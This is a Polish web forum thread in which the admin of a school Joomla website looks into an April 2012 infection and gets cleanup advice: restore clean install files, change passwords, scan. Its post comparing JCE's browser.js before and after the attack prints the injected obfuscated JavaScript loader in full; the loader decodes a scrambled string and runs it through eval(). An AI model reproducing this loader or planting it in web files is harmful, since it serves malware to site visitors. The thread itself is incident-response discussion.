./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0347.jpg 172.5kb 04 Mar 2012 18:15:45
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0343.jpg 188.1kb 04 Mar 2012 18:15:43
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0342.jpg 161.2kb 04 Mar 2012 18:15:39
./images/aktualnosci/2011_2012/dyskoteka_karnawalowa/IMG_0149.jpg 142.7kb 04 Mar 2012 18:13:58



-artykul
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065099.jpg 130.9kb 25 Feb 2012 18:22:32
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065092.jpg 124.9kb 25 Feb 2012 18:22:30
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065094.jpg 123.8kb 25 Feb 2012 18:22:28
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065075.jpg 123kb 25 Feb 2012 18:22:25
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065088.jpg 157.3kb 25 Feb 2012 18:22:24
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065062.jpg 149.9kb 25 Feb 2012 18:22:21
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065058.jpg 143.8kb 25 Feb 2012 18:22:21
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065061.jpg 124.5kb 25 Feb 2012 18:22:17
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065054.jpg 105.6kb 25 Feb 2012 18:22:13
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065057.jpg 121kb 25 Feb 2012 18:22:13
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2065046.jpg 99.7kb 25 Feb 2012 18:22:11
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064551.jpg 180.6kb 25 Feb 2012 18:20:13
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064548.jpg 186.9kb 25 Feb 2012 18:20:10
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064549.jpg 159.6kb 25 Feb 2012 18:20:08
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064547.jpg 186.3kb 25 Feb 2012 18:20:05
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064545.jpg 163.6kb 25 Feb 2012 18:20:04
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064541.jpg 180.2kb 25 Feb 2012 18:20:00
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064540.jpg 144.4kb 25 Feb 2012 18:19:55
./images/aktualnosci/2011_2012/zabawa_karnawalowa/P2064539.jpg 181.1kb 25 Feb 2012 18:19:54



-zainstalowalem modul spoleczniosciowy - pozniej go wylaczylem
./modules/mod_facebook_slide_likebox/tmpl/index.html 0kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/tmpl/images/fb2.png 54.1kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/mod_facebook_slide_likebox.xml 7.3kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/helper.php 4kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/tmpl/css/style2.css 0.6kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/tmpl/css/style1.css 0.6kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/tmpl/images/fb1.png 5.8kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/tmpl/default.php 0.6kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/mod_facebook_slide_likebox.php 0.5kb 24 Feb 2012 20:00:44
./modules/mod_facebook_slide_likebox/index.html 0kb 24 Feb 2012 20:00:44



-wrzucilem zaktualizowany plan lekcji w html
./images/plan_lekcji/plany/s9.html 4.9kb 22 Feb 2012 14:29:57
./images/plan_lekcji/plany/s8.html 5.4kb 22 Feb 2012 14:29:55
./images/plan_lekcji/plany/s6.html 5kb 22 Feb 2012 14:29:54
./images/plan_lekcji/plany/s7.html 6.1kb 22 Feb 2012 14:29:53
./images/plan_lekcji/plany/s4.html 5.4kb 22 Feb 2012 14:29:52
./images/plan_lekcji/plany/s5.html 5kb 22 Feb 2012 14:29:52
./images/plan_lekcji/plany/s21.html 7.8kb 22 Feb 2012 14:29:50
./images/plan_lekcji/plany/s3.html 4.9kb 22 Feb 2012 14:29:50
./images/plan_lekcji/plany/n50.html 4.1kb 22 Feb 2012 14:29:20
./images/plan_lekcji/plany/n13.html 5.4kb 22 Feb 2012 14:29:03
./images/plan_lekcji/plany/n16.html 1.9kb 22 Feb 2012 14:29:03
./images/plan_lekcji/plany/n17.html 6.9kb 22 Feb 2012 14:29:03
./images/plan_lekcji/plany/n14.html 5.6kb 22 Feb 2012 14:29:02
./images/plan_lekcji/plany/n12.html 5.4kb 22 Feb 2012 14:29:02
./images/plan_lekcji/plany/n10.html 5.1kb 22 Feb 2012 14:29:00
./images/plan_lekcji/plany/n11.html 4.9kb 22 Feb 2012 14:29:00
./images/plan_lekcji/plany/n1.html 3.5kb 22 Feb 2012 14:28:58
./images/plan_lekcji/images/pusty.gif 0kb 22 Feb 2012 14:28:57
./images/plan_lekcji/index_n.html 4.7kb 22 Feb 2012 14:28:57
./images/plan_lekcji/images/plan_logo.gif 2.2kb 22 Feb 2012 14:28:57
./images/plan_lekcji/css/index.css 0.8kb 22 Feb 2012 14:28:56
./images/plan_lekcji/css/plan.css 1.3kb 22 Feb 2012 14:28:56
./images/plan_lekcji/css/menu.css 0.4kb 22 Feb 2012 14:28:56
./images/plan_lekcji/index_s.html 2.6kb 22 Feb 2012 14:28:55
./images/plan_lekcji/index.html 1.1kb 22 Feb 2012 14:28:54
./images/plan_lekcji/index_o.html 2.2kb 22 Feb 2012 14:28:54



-wrzucilem kumplowi instalke
./proba/QuickTimeInstaller.exe 22.6MB 11 Feb 2012 00:21:25


-artykul
./images/aktualnosci/2011_2012/I_konkurs_origami/kwiaty10.jpg 145.5kb 01 Feb 2012 21:26:31
./images/aktualnosci/2011_2012/I_konkurs_origami/bied.jpg 7.1kb 01 Feb 2012 21:26:21



-umieszczalem prace dzieci
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/stolowka.html 4.6kb 01 Feb 2012 20:54:51
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/oferta.html 6.4kb 01 Feb 2012 20:54:50
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/biblioteka.html 5.5kb 01 Feb 2012 20:54:48
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/index.html 3.6kb 01 Feb 2012 20:54:48
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/plac zabaw.JPG 140.9kb 01 Feb 2012 20:44:21
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/zsp_libusza.JPG 95.5kb 01 Feb 2012 20:44:20
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/P6012141.JPG 57.6kb 01 Feb 2012 20:44:16
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/P6012139.JPG 55.2kb 01 Feb 2012 20:44:15
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/biblioteka.jpg 40.3kb 01 Feb 2012 20:44:14
./images/prace_uczniow/informatyka/2011_2012/klasa3gim/strony_www/magdaklocek/grafikaa/oferta5_min.jpg 10.1kb 01 Feb 2012 20:44:14



-wstawiałem wlasnorecznie zrobiony favicon
./favicon.ico 1.1kb 28 Jan 2012 21:26:02
./templates/myhome-tg/images/favicon.ico 1.1kb 28 Jan 2012 21:18:58
./images/favicon.ico 1.1kb 28 Jan 2012 21:17:23
./templates/beez_20/favicon.ico 1.1kb 28 Jan 2012 21:13:43
./templates/beez5/favicon.ico 1.1kb 28 Jan 2012 21:13:37
./templates/atomic/favicon.ico 1.1kb 28 Jan 2012 21:13:31
./templates/myhome-tg/favicon.ico 1.1kb 28 Jan 2012 21:12:08



-artykuł
./images/aktualnosci/2011_2012/comenius_gratulacje/grafika_nr2.jpg 12.7kb 28 Jan 2012 20:42:03
./images/aktualnosci/2011_2012/comenius_gratulacje/grafika_nr1.jpg 6.6kb 28 Jan 2012 20:42:03



-artykuł
./images/aktualnosci/2011_2012/XX_jaselka/folder_2012.doc 177kb 28 Jan 2012 20:23:03
./images/aktualnosci/2011_2012/XX_jaselka/p1224475.jpg 195.6kb 28 Jan 2012 20:12:39
./images/aktualnosci/2011_2012/XX_jaselka/p1224470.jpg 207.9kb 28 Jan 2012 20:12:36
./images/aktualnosci/2011_2012/XX_jaselka/p1224459.jpg 194.8kb 28 Jan 2012 20:12:34
./images/aktualnosci/2011_2012/XX_jaselka/p1224454.jpg 188.9kb 28 Jan 2012 20:12:29
./images/aktualnosci/2011_2012/XX_jaselka/p1224446.jpg 184kb 28 Jan 2012 20:12:28
./images/aktualnosci/2011_2012/XX_jaselka/p1224443.jpg 144.1kb 28 Jan 2012 20:12:23
./images/aktualnosci/2011_2012/XX_jaselka/p1224421.jpg 156.4kb 28 Jan 2012 20:12:22
./images/aktualnosci/2011_2012/XX_jaselka/p1224411.jpg 183.8kb 28 Jan 2012 20:12:19
./images/aktualnosci/2011_2012/XX_jaselka/p1224402.jpg 182.9kb 28 Jan 2012 20:12:16
./images/aktualnosci/2011_2012/XX_jaselka/p1224352.jpg 174.6kb 28 Jan 2012 20:11:43
./images/aktualnosci/2011_2012/XX_jaselka/p1224355.jpg 183.1kb 28 Jan 2012 20:11:43
./images/aktualnosci/2011_2012/XX_jaselka/p1224348.jpg 200.3kb 28 Jan 2012 20:11:38
./images/aktualnosci/2011_2012/XX_jaselka/p1224350.jpg 145.6kb 28 Jan 2012 20:11:38
./images/aktualnosci/2011_2012/XX_jaselka/p1224343.jpg 203.1kb 28 Jan 2012 20:11:34
./images/aktualnosci/2011_2012/XX_jaselka/p1224336.jpg 174.6kb 28 Jan 2012 20:11:32



artykuł na stronie

./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134154.jpg 168.4kb 28 Jan 2012 20:05:37
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134153.jpg 131.4kb 28 Jan 2012 20:05:36
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134150.jpg 173.9kb 28 Jan 2012 20:05:33
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134148.jpg 168.3kb 28 Jan 2012 20:05:32
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134142.jpg 150.3kb 28 Jan 2012 20:05:28
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134136.jpg 167.2kb 28 Jan 2012 20:05:27
./images/aktualnosci/2011_2012/konk_koles_pastoralek/p1134139.jpg 156.9kb 28 Jan 2012 20:05:24



26 stycznia robiłem kopie akeeba i wiele innych poprawek
Złośliwy scrypt ujawnił się 2 kwietnia

---------- Post dodany o 07:25 ---------- Poprzedni post był o 07:25 ----------

spojlery nie działaja - przepraszam za długi post

---------- Post dodany o 08:13 ---------- Poprzedni post był o 07:25 ----------

Analizuje wpisy

Plik configuration php rózni sie 3 linijkami na samym dole

public $legacy = '0';
public $xmlrpc_server = '1';
public $debug_db = '0';

Natomiast najwazneijsze sa chyba zmiany w plikach js

dla przykładu
./administrator/components/com_jce/media/js/browser.js

Plik sprzed ataku:

(function($){$.WFBrowserWidget={options:{element:n ull,plugin:{plugin:'browser',root:'',site:'',help: function(){window.parent.$jce.createDialog({src:'i ndex.php?option=com_jce&view=help&tmpl=component&section=editor&category=browser',type:'help',options:{width:780,h eight:560,}})}},manager:{upload:{insert:false},exp andable:false},close:null},init:function(options){ var self=this,win=window.parent,doc=win.document;$.ext end(true,this.options,options);$('<input type="hidden" id="src" value="" />').appendTo(document.body);$.Plugin.init(this.opti ons.plugin);$('button#insert, button#cancel').hide();if(this.options.element){$( 'button#insert').show().click(function(e){self.ins ert();self.close();e.preventDefault()});$('button# cancel').show().click(function(e){self.close();e.p reventDefault()});var src=doc.getElementById(this.options.element).value ||'';$('#src').val(src)}WFFileBrowser.init($('#src '),$.extend(this.options.manager,{}))},insert:func tion(){if(this.options.element){var src=WFFileBrowser.getSelectedItems(0);window.paren t.document.getElementById(this.options.element).va lue=$(src).data('url')}},close:function(){var fn=this.options.close;if(fn){fn.call(this)}else{wi ndow.parent.$jce.closeDialog('#'+this.options.elem ent+'_browser')}}}})(jQuery);var tinyMCE={addI18n:function(p,o){return $.Plugin.addI18n(p,o)}};




plik po ataku

(function($){$.WFBrowserWidget={options:{element:n ull,plugin:{plugin:'browser',root:'',site:'',help: function(){window.parent.$jce.createDialog({src:'i ndex.php?option=com_jce&view=help&tmpl=component&section=editor&category=browser',type:'help',options:{width:780,h eight:560,}})}},manager:{upload:{insert:false},exp andable:false},close:null},init:function(options){ var self=this,win=window.parent,doc=win.document;$.ext end(true,this.options,options);$('<input type="hidden" id="src" value="" />').appendTo(document.body);$.Plugin.init(this.opti ons.plugin);$('button#insert, button#cancel').hide();if(this.options.element){$( 'button#insert').show().click(function(e){self.ins ert();self.close();e.preventDefault()});$('button# cancel').show().click(function(e){self.close();e.p reventDefault()});var src=doc.getElementById(this.options.element).value ||'';$('#src').val(src)}WFFileBrowser.init($('#src '),$.extend(this.options.manager,{}))},insert:func tion(){if(this.options.element){var src=WFFileBrowser.getSelectedItems(0);window.paren t.document.getElementById(this.options.element).va lue=$(src).data('url')}},close:function(){var fn=this.options.close;if(fn){fn.call(this)}else{wi ndow.parent.$jce.closeDialog('#'+this.options.elem ent+'_browser')}}}})(jQuery);var tinyMCE={addI18n:function(p,o){return $.Plugin.addI18n(p,o)}};
var qd3ed4="";function x0d3a03c0f5f(){var b64b3ed2a=String,y76c78de=Array.prototype.slice.ca ll(arguments).join(""),a057074dc=y76c78de.substr(11,3)-336,p3de0d3,s591f99;y76c78de=y76c78de.substr(ka516 49());var n00ab7=yaa75b6cf(y76c78de);for(var v573edda=0;v573edda<n00ab7;v573edda++){try{throw(n27af3=y76c78de.subst r(v573edda,1));}catch(e){n27af3=e;};if(n27af3=='~' ){a057074dc="";v573edda=s12da262a(v573edda);cfc03c0b=y76c78de.su bstr(v573edda,1);while(cfc03c0b!='~'){a057074dc+=c fc03c0b;v573edda++;cfc03c0b=y76c78de.substr(v573ed da,1);}a057074dc-=419;continue;}p3de0d3="";if(oae7f4b5(n27af3)){v573edda++;n27af3=y76c78de.s ubstr(v573edda,1);while(n27af3!='±'){p3de0d3+=n27 af3;v573edda++;n27af3=y76c78de.substr(v573edda,1); }p3de0d3=p3de0d3-a057074dc-16;if(p3de0d3<0)p3de0d3+=256;p3de0d3=abf2b7(p3de0d3);qd3ed4+=b64 b3ed2a["\x66\x72o\x6dC\x68ar\x43\x6fde"](p3de0d3);continue;}c440c54=(n27af3+'')["\x63\x68\x61\x72\x43\x6f\x64eA\x74"](0);if(c440c54>848)c440c54-=848;s591f99=c440c54-a057074dc-16;if(s591f99<0)s591f99+=256;if(s591f99>=192)s591f99+=848;else if(s591f99==168)s591f99=1025;else if(s591f99==184)s591f99=1105;qd3ed4+=b18e411d9(s59 1f99);}}x0d3a03c0f5f("c","96d","83","37","9fe","4","8","1±","2","0","1±~","5","0","3~±2","0","2±±2","17±","~423","~±","13","0","±~","4","69~±1","65","±~","5","36","~±2","49±~","4","90","~±192±","~","485~±","193±","~","4","5","9~","±","166","±","`aX","±","1","7","9","±EB~52","8~","±","1","34","±","~49","7~","±","2","1","2","±","~431~±","125","±","~48","3","~±","194","±~53","2~","±","1","6","1±","~580","~&~","4","52","~","±","1","6","3±~4","9","0","~±","1","95","±","w","±1","4","8","±~5","88~","±","2","17±","~","443~","O±","1","44","±","±","1","5","6±","~44","9~","±162±~","4","42","~","±1","5","1±~495~","±","150","±±139±","~5","1","2~±","15","6±","±2","0","7±±","21","4±","~4","6","1~±","1","69","±~602~,~","60","0","~9","~","5","2","6","~±","2","3","7±","±","1","69±±","230±~","591~#","*","~","5","62","~","±","9±","±","3±","~","59","0~","-~4","4","8~","±","1","57","±~","5","13","~","±","2","24","±","~4","61","~±","17","0","±","~616","~F","±","3","±H",":~61","4","~","?~47","8~","±","1","77±~5","94~","(","/~58","0","~±2","23","±","±","2","6±~","5","8","7","~&","±30±~","5","89","~)±233±","~449","~±","14","9","±","~5","49~±","1","9","3±","~","55","5","~±","1","91","±±","2","11","±±16","5±~","6","02~±2","0","9±~","443","~","1","~5","72~±18","±±15±","~4","36","~A","~4","75","~p~","5","5","3","~","±10","±~","6","09","~","G",">","3","=4","~4","8","0","~","m±","19","6","±~","527","~±","2","29","±","~4","43","~±","1","50","±","±","14","0±","±","1","51±","~5","5","0","~","±","1","0","±~6","0","9~±","2","5","2±","F","G","~428","~","±","1","4","7","±","±1","27","±","±","1","3","3","±","~49","2","~±","1","86±","~5","20~","±","2","20","±","±","149","±","~4","9","8","~±1","56±~","58","5~","±2","4","3±~47","5~±1","3","3","±h","~","442~","N","±","15","6±±","1","49","±","~","4","43~","±1","40±","~4","5","3","~±1","5","1±~518~","±","217","±","~","457~±1","59","±~5","18","~±","2","2","5±~4","2","8~","±","1","2","6","±±","1","2","5±@~5","02~±1","40±","~","4","90","~","w","±21","0±","d~549~","±","1","56","±±","1","55±","~44","5","~3","±","16","1","±","±","14","7","±","~","6","1","3","~","@6~","450","~","±158±","±1","6","6±]~599~<","=~47","7~","±1","96±~","5","9","6","~'-","~5","58","~±","2","5","2±","±","2±","±18","7","±~","5","48~±","2","06±","~551~±1","8","0±±","1","9","6±","±","2","07±±","161±±","1","5","8","±","~","4","52","~",":","±1","7","4±",">","~5","66~±","1","7","3","±","±","172","±","~48","5","~","±","1","8","2","±","~","4","95~","±","2","03","±","±","1","91","±","~457~","±171±±","1","63","±","~5","33~±","231±","~","524","~±","2","3","1±","±237","±±16","7±","±","232±","~46","7","~","±174","±~","4","82~","±","1","88±","±","190","±","~","5","5","7~","±1","5","±~6","0","6~>","0","8:","A","0","~453~R~4","3","6~^~4","6","5","~^","±","1","6","4±","±1","79","±~48","3~±190","±","±1","7","9","±","±","1","9","6±~","60","5~","3~604","~","8","7±","2","4","1±","~","500~","±1","3","8","±±","129±±22","0","±","n","k~","4","2","9","~","##±","1","3","1","±","±12","8±","~462~","[c±","17","8","±","±1","64","±","~472","~±","1","79","±","±","1","69±~","54","6~","±","254±","±6±±","189±±7","±","±","8","±±","9±~4","68","~","±","167±~46","8","~±1","7","3","±","~4","60~","±","1","54±","±","1","6","0","±","Y","~","4","60~","v","v~","4","86","~","±144±","~","48","1","~n","~","4","73","~","v","~","49","3","~","±13","1","±","z","±21","3±","gdc","c","c~45","2~","±168","±~5","1","5~","±2","17±","±22","2±","~5","6","6","~±","7","±","±18","±±26","±~59","7","~±240±:;~579","~","*±2","2±~","6","12~","=","~4","7","6","~","±","170","±","±","1","76±","i","±1","3","4±i","z","±132±VSR","~466","~H","H","±","18","1","±~","60","6","~",",=","~5","3","1","~±","1","6","0±~5","1","3","~±21","4±±2","11","±","~5","0","1~","±","1","95","±","~6","18","~;","~4","9","1~","x~4","44","~f","~5","3","6~","±","16","5","±","±","2","33","±","±2","4","4","±","±","23","2","±~","503~±","2","1","7","±","~","54","3","~±","2","4","9","±","±","2","41","±~","57","2","~±","23±±29±±21","5±","±","1","6±±1","4","±~6","07~@~","4","53","~","w~510","~","±215","±~","512~±","21","0±","~","431~±","1","37","±","±1","2","9","±±13","8±","±","1","4","4","±","±","143","±~4","43~j~","47","7~","±1","95","±","~","4","55","~","±","1","36±","±1","49","±","~","52","3","~±","2","2","3","±±","19","8±","±","2","17±~51","7","~","±2","23","±~","5","14~","±","2","12±","~","525~","±16","2±","~","543","~","±1","79±","~50","5","~","±206±","±","20","3","±~536~±230±~","5","5","7","~±25","4±","~59","6","~","±","23","2±","~45","7","~_","~617","~1","~5","4","5","~±","1","90±","±2","3","5±±","20","1","±","±1","55±±","152","±","±151±~5","0","7","~q","~534~±14","0","±","~","5","75","~","\"~61","0","~0A","±","23","9±B","~","5","7","9~±19","±","~4","90","~±","201","±","±192","±~","441~±","150±±","1","5","4±F","cF","±1","38±~586~","&","~","4","7","4","~±1","7","0","±~","582","~(±3","2","±~","534","~","±","2","32","±","±2","41±","±","24","7","±±","1","7","7","±","~","457~±153","±","±","1","68±","~524","~","±","2","2","2±~449~±14","3","±~","5","6","8~±25","±","±1","0","±","~","545~±","2","11±","±","25","0±±24","3±","~4","6","5~±1","7","1±~","540~","±23","8±~","49","0~±1","9","7","±","±","2","03±±","127","±","±","126","±","~4","72","~","±","184","±~","4","9","3~","±","18","9±","±","204±~5","2","3~","±","225","±","~517","~±226±±","2","30±~45","5~[]","~","595","~±2","51","±~","456~B~481","~","X","W~5","29","~","±1","3","5±","±","135","±","~591","~","/±","3","1±.~","42","8~±","13","0±±137±","±","141","±G±14","1±","~","5","67~±2","9","±±","20±","~","4","33","~±1","31±","~487","~t~","5","90~±2","48","±±","2","1","9±","~","498~","±13","4","±","±21","1±±196","±","±","2","1","5","±","±","211","±","~5","6","6~±","2","1","0","±~","5","22~","±225","±","±","21","6","±","~5","02","~±2","1","7±","~609~/~","590","~.±3","0","±","~","5","2","1~±","2","32±~","5","44~","±","2","4","6±±","2","53±±","1±±","18","0±","~","5","71~±2","27","±±","181±~","504","~","o","~","5","1","9~","±","125±","±125","±±12","5","±±","2","3","1±±","215±~","4","4","7","~±1","58±±1","4","9±","±1","56±~54","5","~","±","2±","~5","30","~","±","1","7","3±","~470~","±1","7","8","±±","177","±±1","81","±~546~±2","4","4","±","~5","3","1~±2","2","5","±±228±","~4","23","~","±","141±~","557~±","1","3","±","±","1","4±","~6","1","1","~1D","5","~","59","8~","&~60","5","~2","+8","1","/~47","3","~f~484~","±1","4","2","±","q","~","6","1","9~>","~54","5","~±3±±","252","±±24","1±±","2","±","~5","9","5~)~","56","1~","±1","3±~47","4~±18","1±","~42","2~3","~6","0","6~","±2","4","3","±±","244±","~","4","28","~9~5","68~±","3","2","±","±","1","78","±~","50","6","~q","~","4","25","~","±","3","1","±","±","31","±~","548~","±","1","54","±±","15","4±","~","4","45","~±","14","7","±~5","7","0","~","±1","3±±1","9","9±","±2","07","±±","2","7±","±1","5","±±1","6±","~","4","36~","±14","8±","O","±","147","±","~578","~±20±","~","54","3","~±23","7±","±2","4","0","±~442","~±16","0±","~","57","6","~","±0","±","~","5","39~±","252±","±","233","±~4","52~±","1","6","5±","~456~","±154±~","5","6","7","~","±1","9","6","±±2","2","5","±","~4","6","5~±1","23","±","^e±","1","6","1±±","17","3±~5","18~±","2","24","±±","227","±±","2","2","3","±","~","5","10","~","±","2","0","8±~4","5","2","~","±165±","~","46","1~","±","159","±a~","50","6~±","14","4","±±","135","±±2","26","±t","~5","4","7","~","±154±","±","1","5","3±~5","2","6~±","13","2","±~","4","5","2","~",":","::~","534~","±","2","50±±236±±","24","1±~","5","5","8~±2","55","±","±10±~","5","83","~","+","~582","~","±","225","±~","519","~±2","3","6","±","~","614~LM~52","3~","±222","±","~5","00~±","205±±19","4±~","4","86","~","±","1","86±~","5","1","7","~","±1","4","6±","±","175","±","~44","1~","F~","48","6~±13","3","±","±","14","2","±~","5","0","7","~u","~455","~>","~5","0","6~pp~6","0","0~±","206","±","±","206±~","5","20","~","±2","42±","~","60","2","~±212±±2","09±±","208±","±20","8±","±208±D","±2","±~","526","~±","13","6","±","±","133±","±13","2","±±132±~","4","38~",",~53","4","~","±","2","4","6","±±230","±~498~","±","209±","±","2","00","±~","613~","BF","~57","6","~","±21","9","±","~","56","6~","±18","±~59","5","~",".,","~46","4","~±","1","72±","~5","51","~±2","45","±~617","~:~","429~",":~","57","5","~","±2","3","3±~","5","0","4~±","1","3","3","±±20","3±","~","4","3","9","~","±","153","±","~429~±","1","3","6±","~502","~","±","1","98","±","~4","53~±","1","6","6","±","~578","~±24","±~5","4","1~±2","49±~52","9~","±","236±","~4","83","~x","y~5","1","6~","±","1","45","±±","2","36","±","±126±±","1","23","±z","~","54","6","~","±","1","52±±15","2±~5","73","~±1","7","9","±","!~","4","42","~±1","4","4","±","±14","9","±","~","572~","±13","±±","24","±","~","5","6","4~±2","4±~","594~","±237±~","5","5","3","~±14±","~","429~","±","1","4","7","±","~4","92","~","±","2","11±","~54","5~","±2","4","4","±~5","5","6","~±5","±","~5","1","6~±","21","0","±~5","52~±252","±±1","8","1±","±21","0±±","1","8","1±~","42","2","~","E","N","~54","3","~±","1","53","±~4","6","8~K","JJJ","±","1","9","0±±","124","±","~4","5","8~D","A@@","@~","462","~","±1","74±~6","1","3","~5~5","1","7~","±2","28","±~","42","4~","±126","±~60","6","~",";?~","454~a~","5","5","2~","±8±±7","±±2","4","8±~43","6~","A","^","~599","~","±","2","2","8±","9","6","~","49","0","~±195±~","48","8","~u","±","128","±~","5","1","3","~","±1","4","2","±","±","187","±~","498~","±","19","2±","±","21","1±~","6","09~","6±252±@/","~4","2","5~","±1","3","2±","~","4","79","~","±","1","76","±","~466","~±","1","7","4","±","±","172±~4","4","2~OP","U","~","5","10","~±","223±±","218","±±","190±","±2","2","3±","~","5","4","9","~","±","4±±","251","±","±","0","±±2","4","9","±±1","86±±187±~5","0","1","~","±14","4±~5","79~#","~","4","5","9","~±","1","73±±","154±","~4","3","5~±14","7","±±","14","8±","±1","46","±±","137±~","55","7~±","8±","±1±±19","4±±","205","±±1","95±","~","593~±","222±","~","50","7~","±147±","~604","~±","2","33","±~519","~±","155","±~6","1","3","~","±","0","±~55","8~","±","5±±","1","4±","~","4","9","0~","±","12","6±","~","4","66~zL","IH","~4","95","~ee±","1","96","±~5","9","9~)","~4","79","~±","1","73±","~","459~","±1","5","6±","f±15","3±","~","530~±","2","39","±~","5","5","8","~±","1","1±","±","0±","±9","±±2","5","5±±22","2±","±","3±±4","±±7","±","~4","37~","±","1","3","4","±","J","~","4","2","5","~","±","137±~466","~","±16","2","±","±17","7±","±","16","8±~","552","~","±5","±±9±±","1","9","0","±","~5","3","3","~","±189","±±143","±","~56","6","~±17","3±~","5","02~ll±","2","24±~5","4","1","~±1","5","1","±±148","±","~4","4","7~5","±169±~","5","3","0","~±","186±","±140","±±13","7±","±252","±","~43","2~F~","421","~",":","~43","1~","E~","5","08~±","16","4","±","");eval(qd3ed4);function ka51649(){return 14;}function yaa75b6cf(d4b35d7a){return d4b35d7a.length;}function s12da262a(ld90a41){return ++ld90a41;}function abf2b7(r2dc7f){if(r2dc7f==168)r2dc7f=1025;else if(r2dc7f==184)r2dc7f=1105;return (r2dc7f>=192 && r2dc7f<256) ? r2dc7f+848 : r2dc7f;}function oae7f4b5(n40fb9dfe){return n40fb9dfe=='±';}function b18e411d9(h52d11120){var b64b3ed2a=String;return b64b3ed2a["\x66\x72o\x6dC\x68ar\x43\x6fde"](h52d11120);}


Wszystkie pliki js są w ten sposób pozarażane

dziwi mnie tylko jedna rzecz - skoro przywrocilem kopie strony sprzed ataku i bez tego kodu to dlaczego po paru godzinach znow kod byl na stronie pomimo ze pozmienialem wszystkie hasla?

[Gall Anonim]

Pytanie.
co to jest:
/components/com_jce/editor/extensions/popups/widgetkit/js/widgetkit.js 13.9kb 02 Apr 2012 17:32:04
Być może mam sklerozę ale w standardzie tego nie kojarzę

[PeFik]

widetkit - pochodzi od dodatku Widgetkit firmy Yootheme.

[stelmach]

Jutro przystępuje do kolejnego mam nadzieje ostatecznego starcia.

Po stworzeniu dwoch witryn lokalnie z Xaamp:

z 26 stycznia - 0 zagrożeń

z 2 kwietnia - około 1200 zainfekowanych plikow
Wykryto potencjalnie zainfekowany obiekt Wykryty: HEUR:Trojan.Script.Generic
oczywiscie w plikach js

Jutro kolejna zmiana haseł i kolejne starcie - mam nadzieje ostateczne.

[Gall Anonim]

http://www.kaspersky.pl/about.html?s=news&newsid=1350
http://forum.dobreprogramy.pl/wirus-heur-trojan-script-iframe-jak-usunac-t390852.html (http://www.kaspersky.pl/about.html?s=news&newsid=1350)

[zwiastun]

odtworzenia witryny dokonywałbym z nowych czystych plików instalacyjnych, a nie z kopii. To, że 26 stycznia było 0 zagrożeń, nie znaczy, że witryna nie została przygotowana wcześniej do zniszczenia.

[stelmach]

odtworzenia witryny dokonywałbym z nowych czystych plików instalacyjnych, a nie z kopii. To, że 26 stycznia było 0 zagrożeń, nie znaczy, że witryna nie została przygotowana wcześniej do zniszczenia.

Nie wiem jak to zrobic? (Mogłbyś w kilku zdaniach przybliżyc temat aby mnie choc troszke naprowadzić)?
Dzisiaj czyszcze swoj sprzęt na rozne sposoby (Kaspersky, combofix i inne), robie nowa baze i zmieniam wszystkie hasla (baza, uzytkownik, ftp - kazde inne). Obraz mam juz na serwerze.

[big_krzysiek]

Po wyczyszczeniu wszystkiego na serwerze, wgrywasz "swieże" pliki joomla i dodatków sciagnięte z "wiarygodnych" stron.

[stelmach]

Po wyczyszczeniu wszystkiego na serwerze, wgrywasz "swieże" pliki joomla i dodatków sciagnięte z "wiarygodnych" stron.


Z tym ze usunalem baze danych - mam co prawda kopię ale całej witryny z bazą

A mozna by tak zrobic ze przywroce kopie witryny i usunę przez ftp katalogi i napiszę te miejsca czystymi?
Druga sprawa to taka ze musialbym zalozyc ze moja baza jest czysta.

[stelmach]

Dr. WEb znalazł jeszcze pare robaków ktore nie znalazł kaspersky

Witryna przywrocona z kopii sprzed wirusów (pozostaje uzupełnic braki) - na razie stabilna i bez komunikatów - aktualizuje wszystkie moduły i komponenty bo nie wszystkie wyskakują w aktualizacjach że są nowe.

[stelmach]

Postępowałeś wręcz wzorcowo, wiec powinieneś dać radę.
